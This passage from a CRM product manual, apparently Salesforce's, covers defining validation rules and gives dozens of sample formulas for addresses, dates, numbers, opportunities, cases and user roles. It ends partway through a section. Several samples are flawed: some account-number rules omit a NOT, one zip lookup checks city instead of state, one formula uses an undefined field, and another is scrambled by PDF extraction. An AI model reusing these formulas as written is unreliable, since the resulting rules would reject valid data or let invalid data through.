Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view field validation rules:

View Setup and Configuration

To define or change field validation rules:

Customize Application

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True
or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to
an invalid value.
To begin using validation rules, click Your Name > Setup > Customize, select the appropriate activity, and click Validation
Rules. For custom objects, click Your Name > Setup > Create > Objects and select the custom object. Validation rules are
listed in the Validation Rules related list. To create a validation rule for the field in Salesforce CRM Ideas, click Your Name
> Setup > Customize > Ideas > Comment Validation Rules.

To define a validation rule, click New. See Defining Validation Rules on page 1161.
To make changes to a validation rule, click Edit.
To delete a validation rule, click Del.
To view details about a validation rule, click field validation name.
To clone a validation rule, select the rule you want to clone and click Clone.

1159

Customize

Managing Validation Rules

To activate a validation rule, click Edit next to the rule you want to activate, select Active, and click Save. Deselect
Active to deactivate the rule.

See Also:
About Validation Rules
Examples of Validation Rules

About Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Improve the quality of your data using validation rules. Validation rules verify that the data a user enters in a record meets the
standards you specify before the user can save the record. A validation rule can contain a formula or expression that evaluates
the data in one or more fields and returns a value of True or False. Validation rules also include an error message to display
to the user when the rule returns a value of True due to an invalid value.
After you have defined validation rules:
1. The user chooses to create a new record or edit an existing record.
2. The user clicks Save.
3. All validation rules are verified.

If all data is valid, the record is saved.


If any data is invalid, the associated error message displays without saving the record.

4. The user makes the necessary changes and clicks Save again.
You can specify the error message to display when a record fails validation and where to display it. For example, your error
message can be The close date must occur after today's date. You can choose to display it near a field or at the top of the
page. Like all other error messages, validation rule errors display in red text and are preceded by the word Error.
Important: Validation rules apply to new and updated records for an object, even if the fields referenced in the
validation rule are not included in a page layout or an API call. Validation rules don't apply if you create new records
for an object with Quick Create. If your organization has multiple page layouts for the object on which you create a
validation rule, verify that the validation rule functions as intended on each layout. If your organization has any
integrations that use this object, verify that the validation rule functions as intended for each integration.

See Also:
Defining Validation Rules
Examples of Validation Rules

1160

Customize

Managing Validation Rules

Defining Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view field validation rules:

View Setup and Configuration

To define or change field validation rules:

Customize Application

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of True
or False. Validation rules also include an error message to display to the user when the rule returns a value of True due to
an invalid value.
Before creating validation rules, review the Validation Rule Considerations on page 1193.
To create validation rules:
1. For standard objects, click Your Name > Setup > Customize, select the appropriate activity, and click Validation Rules.
For custom objects, click Your Name > Setup > Create > Objects and select the custom object.
To create a validation rule for the field in Salesforce CRM Ideas, click Your Name > Setup > Customize > Ideas >
Comment Validation Rules.
To create validation rules for campaign members, click Your Name > Setup > Customize > Campaigns > Campaign
Member > Validation Rules.
To create validation rules for case milestones (entitlement management must be enabled), click Your Name > Setup >
Customize > Cases > Case Milestones > Validation Rules.
2. Click New in the Validation Rules related list.
3. Enter the properties of your validation rule:
Field

Description

Rule Name

Unique identifier of up to 40 characters with no spaces or special characters such


as extended characters.

Active

Checkbox that indicates if the rule is enabled.

Description

A 255 character or less description that distinguishes the validation rule from
others. For internal purposes only.

Error Condition Formula

The expression used to validate the field. See Building Formulas on page 1147 and
Operators and Functions on page 1203.

Error Message

The message that displays to the user when a field fails the validation rule.
If your organization uses the Translation Workbench, you can translate the error
message into the languages Salesforce supports. See Setting Up the Translation
Workbench on page 487.

1161

Customize

Managing Validation Rules

Field

Description

Error Location

Determines where on the page to display the error. To display the error next to a
field, choose Field and select the field. If the error location is a field, the validation
rule is also listed on the detail page of that field. If the error location is set to a
field that is later deleted or a field that is read only or not visible on the page layout,
Salesforce automatically changes the error location to Top of Page.
Note: Error messages can only be displayed at the top of the page in
validation rules for case milestones and Salesforce CRM Ideas.

4. Click Check Syntax to check your formula for errors.


5. Click Save to finish or Save & New to create additional validation rules.
Note: The detail page of a custom activity field does not list associated validation rules. To edit the validation rule
for a custom activity field, select the validation rule by clicking Your Name > Setup > Customize > Activities and
choose Task Validation Rules or Event Validation Rules.

See Also:
About Validation Rules
Examples of Validation Rules

Examples of Validation Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view field validation rules:

View Setup and Configuration

To define or change field validation rules:

Customize Application

Use the following samples for validation rules in Salesforce and Force.com AppExchange apps, including:

Account Validation Rules


Contact Validation Rules
Opportunity Management Validation Rules
Quote Validation Rules
Call Center Validation Rules
User, Role, and Profile Validation Rules
Account Address Validation Rules
Date Validation Rules

1162

Customize

Managing Validation Rules

Number Validation Rules


Cross Object Validation Rules
Community Validation Rules (Answers and Ideas)
Other Validation Rules

See Also:
About Validation Rules
Defining Validation Rules

Account Address Validation Rules


Canadian Billing Postal Code
Field

Value

Description:

Validates that the account Billing Zip/Postal Code is in the correct format if
Billing Country is Canada.

Formula:
AND(
OR(BillingCountry = "CAN", BillingCountry = "CA", BillingCountry
= "Canada"),
NOT(REGEX(BillingPostalCode,
"((?i)[ABCEGHJKLMNPRSTVXY]\\d[A-Z]?\\s?\\d[A-Z]\\d)?"))
)

Error Message:

Canadian postal code must be in A9A 9A9 format.

Error Location:

Billing Zip/Postal Code

Billing Zip Code Is in Billing State


Field

Value

Description:

Validates that the account Billing Zip/Postal Code is valid by looking up the
first five characters of the value in a custom object called Zip_Code__c that contains a
record for every valid zip code in the US. If the zip code is not found in the Zip_Code__c
object, or the Billing State does not match the corresponding State_Code__c in
the Zip_Code__c object, an error is displayed.

Formula:
VLOOKUP(
$ObjectType.Zip_Code__c.Fields.City__c ,
$ObjectType.Zip_Code__c.Fields.Name ,
LEFT(BillingPostalCode,5)) <> BillingCity

Error Message:

Billing Zip Code does not exist in specified Billing State.

Error Location:

Billing Zip/Postal Code

1163

Customize

Managing Validation Rules

US Billing Zip Code


Field

Value

Description:

Validates that the account Billing Zip/Postal Code is in 99999 or 99999-9999


format if Billing Country is USA or US.

Formula:
AND(
OR(BillingCountry = "USA", BillingCountry = "US"),
NOT(REGEX(BillingPostalCode, "\\d{5}(-\\d{4})?"))
)

Note: This example uses the REGEX function; see Shipping Zip Code on page
1164 if you are not familiar with regular expressions.

Error Message:

Zip code must be in 99999 or 99999-9999 format.

Error Location:

Billing Zip/Postal Code

Shipping Zip Code


Field

Value

Description:

Validates that the account Shipping Zip/Postal Code is in 99999 or 99999-9999 format
if Shipping Country is USA or blank.

1164

Customize

Field

Managing Validation Rules

Value

Formula:
AND(
OR(ShippingCountry = "USA", ISBLANK(ShippingCountry)),
OR(
AND(LEN(ShippingPostalCode) <>5,
LEN(ShippingPostalCode) <> 10),
NOT(CONTAINS("0123456789",
LEFT( ShippingPostalCode, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 5, 1))),
AND(
LEN(ShippingPostalCode) = 10,
OR(
MID( ShippingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 7, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 8, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 9, 1))),
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 10, 1)))
)
)
)
)

Note: This example interprets a blank country as US. To use this example with other
countries, remove the clause that checks the length of the country field. Also, validation
rule criteria are case sensitive, so this rule is only enforced when the country is blank or
USA in all capital letters. The rule is not enforced when the country is usa.
Tip: You can also validate zip codes using a regular expression; for an example of a
formula using a regular expression, see REGEX on page 1240.

Error Message:

Zip code must be in 99999 or 99999-9999 format.

Error Location:

Shipping Zip/Postal Code

Valid Billing State (US)


Field

Value

Description:

Validates that the account Billing State/Province is a valid two-character


abbreviation if Billing Country is US, USA, or blank.

1165

Customize

Managing Validation Rules

Field

Value

Formula:
AND (
OR(BillingCountry = "US", BillingCountry="USA",
ISBLANK(BillingCountry)),
OR(
LEN(BillingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", BillingState)
)))

Note: This example interprets a blank country as US. To use this example with
other countries, remove the clause that checks the length of the country field.
Also, validation rule criteria are case sensitive, so this rule is only enforced when
the country is blank or USA in all capital letters. The rule is not enforced
when the country is usa.
Error Message:

A valid two-letter state code is required.

Error Location:

Billing State/Province

Valid Billing Province (Canada)


Field

Value

Description:

Validates that the account Billing State/Province is a valid two-character abbreviation if


Billing Country is CA or CAN.

Formula:
AND (
OR(BillingCountry = "CA", BillingCountry="CAN"),
OR(
LEN(BillingState) < 2,
NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", BillingState)
)))

Error Message:

A valid two-letter province code is required.

Error Location:

Billing State/Province

Valid Shipping State


Field

Value

Description:

Validates that the account Shipping State/Province is a valid two-character abbreviation if


Shipping Country is US, USA, or blank.

1166

Customize

Field

Managing Validation Rules

Value

Formula:
AND (
OR(ShippingCountry = "US", ShippingCountry="USA",
ISBLANK(ShippingCountry)),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", ShippingState)
)))

Note: This example interprets a blank country as US. To use this example with other countries,
remove the clause that checks the length of the country field. Also, validation rule criteria are
case sensitive, so this rule is only enforced when the country is blank or USA in all capital
letters. The rule is not enforced when the country is usa.
Error Message:

A valid two-letter state abbreviation is required.

Error Location:

Shipping State/Province

Valid Shipping Province (Canada)


Field

Value

Description:

Validates that the account Shipping State/Province is a valid two-character abbreviation, if


Billing Country is CA or CAN.

Formula:
AND (
OR(ShippingCountry = "CA", ShippingCountry="CAN"),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", ShippingState)
)))

Error Message:

A valid two-letter province abbreviation is required.

Error Location:

Shipping State/Province

Valid Billing Country


Field

Value

Description:

Validates that the account Billing Country is a valid ISO 3166 two-letter code.

1167

Customize

Field

Managing Validation Rules

Value

Formula:
OR(
LEN(BillingCountry) = 1,
NOT(
CONTAINS(
"AF:AX:AL:DZ:AS:AD:AO:AI:AQ:AG:AR:AM:" &
"AW:AU:AZ:BS:BH:BD:BB:BY:BE:BZ:BJ:BM:BT:BO:" &
"BA:BW:BV:BR:IO:BN:BG:BF:BI:KH:CM:CA:CV:KY:" &
"CF:TD:CL:CN:CX:CC:CO:KM:CG:CD:CK:CR:CI:HR:" &
"CU:CY:CZ:DK:DJ:DM:DO:EC:EG:SV:GQ:ER:EE:ET:FK:" &
"FO:FJ:FI:FR:GF:PF:TF:GA:GM:GE:DE:GH:GI:GR:GL:" &
"GD:GP:GU:GT:GG:GN:GW:GY:HT:HM:VA:HN:HK:HU:" &
"IS:IN:ID:IR:IQ:IE:IM:IL:IT:JM:JP:JE:JO:KZ:KE:KI:" &
"KP:KR:KW:KG:LA:LV:LB:LS:LR:LY:LI:LT:LU:MO:MK:" &
"MG:MW:MY:MV:ML:MT:MH:MQ:MR:MU:YT:MX:FM:MD:MC:" &
"MC:MN:ME:MS:MA:MZ:MM:MA:NR:NP:NL:AN:NC:NZ:NI:" &
"NE:NG:NU:NF:MP:NO:OM:PK:PW:PS:PA:PG:PY:PE:PH:" &
"PN:PL:PT:PR:QA:RE:RO:RU:RW:SH:KN:LC:PM:VC:WS:" &
"SM:ST:SA:SN:RS:SC:SL:SG:SK:SI:SB:SO:ZA:GS:ES:" &
"LK:SD:SR:SJ:SZ:SE:CH:SY:TW:TJ:TZ:TH:TL:TG:TK:" &
"TO:TT:TN:TR:TM:TC:TV:UG:UA:AE:GB:US:UM:UY:UZ:" &
"VU:VE:VN:VG:VI:WF:EH:YE:ZM:ZW",
BillingCountry)))

Error Message:

A valid two-letter country code is required.

Error Location:

Billing Country

Account Validation Rules


Account Number Is Numeric
Field

Value

Description:

Validates that the Account Number is numeric if not blank.

Formula:
AND(
ISBLANK(AccountNumber),
NOT(ISNUMBER(AccountNumber))
)

Error Message:

Account Number is not numeric.

Error Location:

Account Number

Account Number Length


Field

Value

Description:

Validates that the Account Number is exactly seven digits (if it is not blank). The
number seven is simply illustrative. You can change this to any number you like.

1168

Customize

Field

Managing Validation Rules

Value

Formula:
AND(
ISBLANK(AccountNumber),
LEN(AccountNumber) <> 7
)

Error Message:

Account Number must be seven digits.

Error Location:

Account Number

Annual Revenue Range


Field

Value

Description:

Validates that the account Annual Revenue is not negative and does not exceed $100
billion. This limit is designed to catch typos.

Formula:
OR(
AnnualRevenue < 0,
AnnualRevenue > 100000000000
)

Error Message:

Annual Revenue cannot exceed 100 billion.

Error Location:

Annual Revenue

Number Validation Rules


Time Cards Must Total 40 Hours
Field

Value

Description:

Ensures that users cannot save a time card record with more than 40 hours in a work
week. This example requires five custom fields on your custom object, one for each day
of work.

Formula:
Monday_Hours__c +
Tuesday_Hours__c +
Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40

Error Message:

Your total hours cannot exceed 40.

Error Location:

Top of Page

1169

Customize

Managing Validation Rules

Number Cannot Be Negative


Field

Value

Description:

Validates that a custom field called Hours Worked is not a negative number.

Formula:
Hours_Worked__c < 0

Error Message:

Hours Worked cannot be less than zero.

Error Location:

Hours Worked

Number Must Be Even


Field

Value

Description:

Validates that a custom field called Ark Passengers is a non-negative even number.

Formula:
OR(
Ark_Passengers__c < 0,
MOD( Ark_Passengers__c, 2) <> 0
)

Error Message:

Ark Passengers must be a positive even number.

Error Location:

Ark Passengers

Number Must Be Odd


Field

Value

Description:

Validates that a custom field called Socks Found is a non-negative odd number.

Formula:
OR(
Socks_Found__c < 0,
MOD( Socks_Found__c, 2) = 0
)

Error Message:

Socks Found must be an odd number.

Error Location:

Socks Found

Number Must Be a Multiple of Five


Field

Value

Description:

Validates that a custom field called Multiple of 5 is a multiple of five.

1170

Customize

Field

Managing Validation Rules

Value

Formula:
MOD( Multiple_of_5__c, 5) <> 0

Error Message:

Number must be a multiple of five.

Error Location:

Multiple of 5

Number Must Be an Integer


Field

Value

Description:

Validates that a custom field called My Integer is an integer.

Formula:
FLOOR( My_Integer__c) <> My_Integer__c

Error Message:

This field must be an integer.

Error Location:

My Integer

Number Must Be Between -50 and 50


Field

Value

Description:

Validates that a custom field called Volume is between -50 and 50.

Formula:
ABS( Volume__c) > 50

Error Message:

Volume must be between -50 and 50.

Error Location:

Volume

Number Range Validation


Field

Value

Description:

Validates that the range between two custom fields, Salary Min and Salary Max,
is no greater than $20,000.

Formula:
(Salary_Max__c - Salary_Min__c) > 20000

Error Message:

Salary range must be within $20,000. Adjust the Salary Max or Salary Min values.

Error Location:

Salary Max

1171

Customize

Managing Validation Rules

Percentage Must Be Between Zero and 100


Field

Value

Description:

Validates that a custom field called Mix Pct is between 0 and 100%. Note that percent
fields are expressed divided by 100 in formulas (100% is expressed as 1; 50% is expressed
as 0.5).

Formula:
OR(
Mix_Pct__c > 1.0,
Mix_Pct__c < 0.0
)

Error Message:

Mix Pct must be between 0 and 100%.

Error Location:

Mix Pct

Contact Validation Rules


Mailing Address Fields Are Required
Field

Value

Description:

Validates that the contact Mailing Street, Mailing City, and Mailing Country
are provided.

Formula:
OR(
ISBLANK( MailingStreet ),
ISBLANK( MailingCity ),
ISBLANK( MailingCountry )
)

Error Message:

Mailing Street, City, and Country are required.

Error Location:

Top of Page

Mailing Street Is Required


Field

Value

Description:

Validates that the contact Mailing Street is provided.

Formula:
ISBLANK( MailingStreet )

Error Message:

Mailing Street is required.

Error Location:

Mailing Street

1172

Customize

Managing Validation Rules

Mailing Zip Code


Field

Value

Description:

Validates that the contact Mailing Zip/Postal Code is in 99999 or 99999-9999 format if
Mailing Country is USA or blank.

Formula:
AND(
OR(MailingCountry = "USA", ISBLANK(MailingCountry)),
OR(
AND(LEN(MailingPostalCode) <>5,
LEN(MailingPostalCode) <> 10),
NOT(CONTAINS("0123456789",
LEFT( MailingPostalCode, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 5, 1))),
AND(
LEN(MailingPostalCode) = 10,
OR(
MID( MailingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 7, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 8, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 9, 1))),
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 10, 1)))
)
)
)
)

Note: This example interprets a blank country as US. To use this example with other
countries, remove the clause that checks the length of the country field. Also, validation
rule criteria are case sensitive, so this rule is only enforced when the country is blank or
USA in all capital letters. The rule is not enforced when the country is usa.
Tip: You can also validate zip codes using a regular expression; for an example of a
formula using a regular expression, see REGEX on page 1240.

Error Message:

Zip code must be in 99999 or 99999-9999 format.

Error Location:

Mailing Zip/Postal Code

Phone Number Has International Format


Field

Value

Description:

Validates that the Phone number begins with a plus sign (+) for country code. Note that
this validation rule conflicts with the ten-digit rule.

1173

Customize

Field

Managing Validation Rules

Value

Formula:
LEFT(Phone, 1) <> "+"

Error Message:

Phone number must begin with + (country code).

Error Location:

Phone

US Phone Number Has Ten Digits


Field

Value

Description:

Validates that the Phone number is in (999) 999-9999 format. This works by using the
REGEX function to check that the number has ten digits in the (999) 999-9999 format.

Formula:
NOT(REGEX(Phone, "\\D*?(\\d\\D*?){10}"))

Error Message:

US phone numbers should be in this format: (999) 999-9999.

Error Location:

Phone

Date Validation Rules


Date Must Be a Weekday
Field

Value

Description:

Validates that the value of a custom date field is a weekday (not Saturday or Sunday).

Formula:
CASE(MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 0,
6, 0,
1) = 0

Error Message:

Date must be a weekday.

Error Location:

My Date

Date Must Be a Weekend Day


Field

Value

Description:

Validates that the value of a custom date field is a Saturday or Sunday.

1174

Customize

Field

Managing Validation Rules

Value

Formula:
CASE( MOD( My_Date__c - DATE(1900, 1, 7), 7),
0, 1,
6, 1,
0) = 0

Error Message:

Date must be a weekend day.

Error Location:

My Date

Date Must Be in the Current Month


Field

Value

Description:

Validates that a custom date field contains a date within the current month and year.

Formula:
OR (
YEAR( My_Date__c ) <> YEAR ( TODAY() ),
MONTH( My_Date__c ) <> MONTH ( TODAY() )
)

Error Message:

Date must be in the current month.

Error Location:

My Date

Date Must Be in the Current Year


Field

Value

Description:

Validates that a custom date field contains a date within the current year.

Formula:

YEAR( My_Date__c ) <> YEAR ( TODAY() )

Error Message:

Date must be in the current year.

Error Location:

My Date

Date Must Be the Last Day of the Month


Field

Value

Description:

Validates whether a custom field called My Date is the last day of the month. To do
this, it determines the date of the first day of the next month and then subtracts 1 day.
It includes special case logic for December.

Formula:
DAY(My_Date__c) <>
IF(Month(My_Date__c)=12, 31,
DAY(DATE(YEAR(My_Date__c),MONTH(My_Date__c)+1,1) - 1))

Error Message:

Date must be the last day of the month.

1175

Customize

Managing Validation Rules

Field

Value

Error Location:

My Date

Date Must Be Within One Year of Today


Field

Value

Description:

Validates whether a custom field called Follow-Up Date is within one year of todays
date. This example assumes a 365 day year. (It does not handle leap years.)

Formula:
Followup_Date__c - TODAY() > 365

Error Message:

Follow-Up Date must be within one year of today.

Error Location:

Follow-Up Date

Day of Month Cannot Be Greater Than 15


Field

Value

Description:

Validates that a custom field called Begin Date contains a date in the first 15 days of
the specified month.

Formula:
DAY( Begin_Date__c ) > 15

Error Message:

Begin Date cannot be after the 15th day of month.

Error Location:

Begin Date

End Date Cannot Be Before Begin Date


Field

Value

Description:

Validates that a custom field called End Date does not come before another custom
field called Begin Date.

Formula:
Begin_Date__c > End_Date__c

Error Message:

End Date cannot be before Begin Date.

Error Location:

Begin Date

1176

Customize

Managing Validation Rules

Expiration Date Cannot Be Before Close Date


Field

Value

Description:

Validates that a custom field called Expiration Date does not come before Close
Date.

Formula:
Expiration_Date__c < CloseDate

Error Message:

Expiration Date cannot be before Close Date.

Error Location:

Expiration Date

Opportunity Management Validation Rules


Conditionally-Required Field Based on Opportunity Stage
Field

Value

Description:

Validates that a custom field called Delivery Date is provided if an opportunity has
advanced to the Closed Won or Negotiation/Review stage.

Formula:
AND (
OR (
ISPICKVAL(StageName, "Closed Won"),
ISPICKVAL(StageName, "Negotiation/Review")),
ISBLANK(Delivery_Date__c)
)

Error Message:

Delivery Date is required for this stage.

Error Location:

Delivery Date

Close Date Cannot Be Prior to Current Month


Field

Value

Description:

Validates that the Close Date of an opportunity is not within a month prior to the
current month. Note the use of ISNEW and ISCHANGED in this formula to ensure
the condition is only checked when the opportunity is being created or the Close Date
field is modified subsequently.

Formula:
AND(
OR (
ISNEW(),
ISCHANGED( CloseDate )),
CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1) )

Error Message:

Close Date cannot be prior to current month.

1177

Customize

Managing Validation Rules

Field

Value

Error Location:

Close Date

Close Date Must Be a Future Date


Field

Value

Description:

Ensures that users do not change the Close Date of an opportunity to a day in the past.

Formula:
SampleDate < TODAY()

Error Message:

Close Date cannot be a day in the past.

Error Location:

Close Date

Discounts on Opportunities
Field

Value

Description:

Validates that a custom discount percent field is between 0 and 40%.

Formula:

OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)

Error Message:

The Discount Rate must not exceed 40%.

Error Location:

Discount Rate

High-Value Opportunity Must Be Approved Before Closed


Field

Value

Description:

Opportunities with amounts greater than $50,000 require that a custom checkbox field
called Approved is checked in order to change the stage to Closed Won or Closed Lost.
To automate this, set field-level security on the Approved checkbox so that it can only
be checked via a custom approval process (Enterprise Edition or Unlimited Edition).

Formula:
AND(
OR(
ISPICKVAL(StageName,"Closed Won"),
ISPICKVAL(StageName,"Closed Lost")),
(Amount > 50000),
NOT(ISPICKVAL(Approval_Status__c ,"Approved")))

Error Message:

All high-value opportunities must be approved for closure. Click the Request Close
button.

Error Location:

Top of Page

1178

Customize

Managing Validation Rules

Opportunity Amount Cannot Exceed $10 Million


Field

Value

Description:

Validates that opportunity Amount is positive and no more than $10 million. This limit
is designed to catch typos.

Formula:
OR(
Amount < 0,
Amount > 10000000
)

Error Message:

Amount cannot exceed $10 million.

Error Location:

Amount

Opportunity Check for Products


Field

Value

Description:

Validates that an opportunity has at least one opportunity product before users can save a change
to an opportunity.

Formula:
NOT(OR(ISNEW(),HasOpportunityLineItem))

Error Message:

You must add products to this opportunity before saving.

Error Location:

Top of Page

Opportunity Must Have Products if Beyond Needs Analysis Stage


Field

Value

Description:

Validates that an opportunity has opportunity products before the Stage can move
beyond Needs Analysis.

Formula:
AND (
CASE( StageName,
"Value Proposition", 1,
"Id. Decision Makers", 1,
"Perception Analysis", 1,
"Proposal/Price Quote", 1,
"Negotiation/Review", 1,
"Closed Won", 1,
0) = 1,
NOT(HasOpportunityLineItem)
)

Error Message:

Opportunity products are required to advance beyond the Needs Analysis stage.

Error Location:

Top of Page

1179

Customize

Managing Validation Rules

Opportunity Name Format


Field

Value

Description:

Validates that an opportunity contains a hyphen as a way of enforcing an [Account] [Amount] opportunity naming convention.

Formula:
FIND( " - ", Name ) = 0

Error Message:

Opportunity Name should use [Account] - [Amount] format.

Error Location:

Opportunity Name

Prevent Sales Reps from Moving Opportunity Stage Backwards


Field

Value

Description:

Prevent sales reps from changing opportunity Stage backwards to specific values, once
they have accepted the opportunity via a custom approval process. The approval process
sets the custom Accepted Flag checkbox to True.

Formula:
AND(
Accepted_Flag__c,
OR ( ISPICKVAL( StageName, "Stage 1"), ISPICKVAL( StageName,
"Stage 2"))
)

Error Message:

Invalid stage for accepted opportunity.

Error Location:

Stage

Probability Must Be 100% for Won Opportunities


Field

Value

Description:

Validates that the probability of a won opportunity is properly set to 100%. This is useful
for data cleanliness and reporting purposes.

Formula:
AND (
ISPICKVAL( StageName, "Closed Won"),
Probability <> 1)

Error Message:

Probability must be 100% for won opportunities.

Error Location:

Probability

1180

Customize

Managing Validation Rules

Probability Must Be Zero for Lost Opportunities


Field

Value

Description:

Validates that the probability of a lost opportunity is properly set to zero. This is useful
for data cleanliness and reporting purposes.

Formula:
AND (
ISPICKVAL( StageName, "Closed Lost"),
Probability <> 0)

Error Message:

Probability must be 0% for lost opportunities.

Error Location:

Probability

Project Start Date


Field

Value

Description:

Validates that a field is conditionally required based on the values of other fields. Use this
validation formula to ensure that users include a Project Start Date for an opportunity
that is closed/won.

Formula:
AND(ISPICKVAL(StageName, "Closed Won"),
ISNULL(Project_Start_Date__c))

Error Message:

Project start date is required for won opportunities.

Error Location:

Project Start Date

Quote Validation Rules


Display Error if Quote Line Item Discount Exceeds 40%
Field

Value

Description:

Shows an error if a quote line item's discount exceeds 40%.

Formula:
Discount > .40

Error Message:

The discount on this quote line item cannot exceed 40%.

Error Location:

Discount on quote

1181

Customize

Managing Validation Rules

Call Center Validation Rules


Conditionally Require Description When Case Reason is Other
Field

Value

Description:

Validates that a custom field called Other Reason contains a value if a case has a Case
Reason of Other.

Formula:
AND(
ISPICKVAL( Reason, "Other" ),
ISBLANK(Other_Reason__c)
)

Error Message:

Description of Other Reason is required.

Error Location:

Other Reason

Prevent Open Cases from Being Reset to New


Field

Value

Description:

If a case is already open, prevents the Status from being changed back to New.

Formula:
AND(
ISCHANGED( Status ),
NOT(ISPICKVAL(PRIORVALUE( Status ), "New")),
ISPICKVAL( Status, "New")
)

Error Message:

Open case Status cannot be reset to New.

Error Location:

Status

Restrict Status of Re-Opened Cases


Field

Value

Description:

Validates that the case Status is Re-opened when a closed case is opened again.

Formula:
AND(
ISCHANGED( Status ),
OR(
ISPICKVAL(PRIORVALUE( Status ), "Closed"),
ISPICKVAL(PRIORVALUE( Status ),
"Closed in SSP")),
NOT( ISPICKVAL( Status, "Re-Opened"))
)

Error Message:

Closed case can only be changed to Re-opened.

1182

Customize

Managing Validation Rules

Field

Value

Error Location:

Status

Prevent Case Milestone Completion After Cases Are Closed


Field

Value

Description:

Validates that a milestone's Completion Date can't occur after the case's Status is
Closed.

Formula:
Case.IsClosed

= true

Error Message:

You can't complete a milestone after a case is closed.

Error Location:

Top of Page

Prevent Case Milestone Completion Before Case Creation Dates


Field

Value

Description:

Validates that the milestone's Completion Date has occurred after the case's
Date/Time Opened.

Formula:
CompletionDate >=
Case.ClosedDate

Case.CreatedDate

&&

CompletionDate

<=

Error Message:

The milestone Completion Date must occur after the date the case was created and
before the case was closed.

Error Location:

Top of Page

User, Role, and Profile Validation Rules


Discount Percent Does Not Exceed Role-Based Limit
Field

Value

Description:

Validates that a custom field on opportunities called Discount Percent does not
exceed a maximum value that varies depending on the users role. The default maximum
is 15%.

1183

Customize

Field

Managing Validation Rules

Value

Formula:
Discount_Percent__c >
VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,
$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)

Error Message:

Discount (%) exceeds limit allowed for your role.

Error Location:

Discount Percent

Expense Amount Does Not Exceed User's Max Allowed Expense


Field

Value

Description:

Validates a custom field called Expense Amount against a custom user field called Max
Allowed Expense.

Formula:
Expense_Amount__c > $User.Max_Allowed_Expense__c

Error Message:

Amount cannot exceed your maximum allowed expense.

Error Location:

Expense Amount

Only Record Owner Can Change Field


Field

Value

Description:

Ensures that only the record owner can make changes to a custom field called Personal
Goal.

Formula:
AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id
)

Error Message:

Only record owner can change Personal Goal.

Error Location:

Personal Goal

Only Record Owner or Administrator Can Change Field


Field

Value

Description:

Ensures that a user can make changes to a custom field called Personal Goal only if
the user is the record owner or has a custom profile of Custom: System Admin.

1184

Customize

Field

Managing Validation Rules

Value

Formula:
AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)

Note: $Profile merge fields are only available in Enterprise, Unlimited, and
Developer Editions.

Error Message:

Only record owner or administrator can change Personal Goal.

Error Location:

Personal Goal

Opportunity Close Date Can Only Be Back-Dated by Administrator


Field

Value

Description:

Validates that the Close Date of an opportunity does not fall prior to the current
month, except for users who have a custom profile called Custom: System Admin.

Formula:
AND(
OR (
ISNEW(),
ISCHANGED( CloseDate )),
CloseDate < DATE( YEAR(TODAY()), MONTH(TODAY()), 1),
$Profile.Name <> "Custom: System Admin"
)

Note: $Profile merge fields are only available in Enterprise, Unlimited, and
Developer Editions.

Error Message:

Close Date cannot be prior to current month.

Error Location:

Close Date

Cross Object Validation Rules


Discounts Must Be Within Range
This example consists of three validation rules on opportunity products. The examples below work together to help you manage
discount amounts for products and require a custom percent field on opportunity products called Line Discount. The
examples below also require you to use price books and customize the Product Family field to include the following values:
Software, Consulting, and Training.
Software Discounts

1185

Customize

Managing Validation Rules

Field

Value

Description:

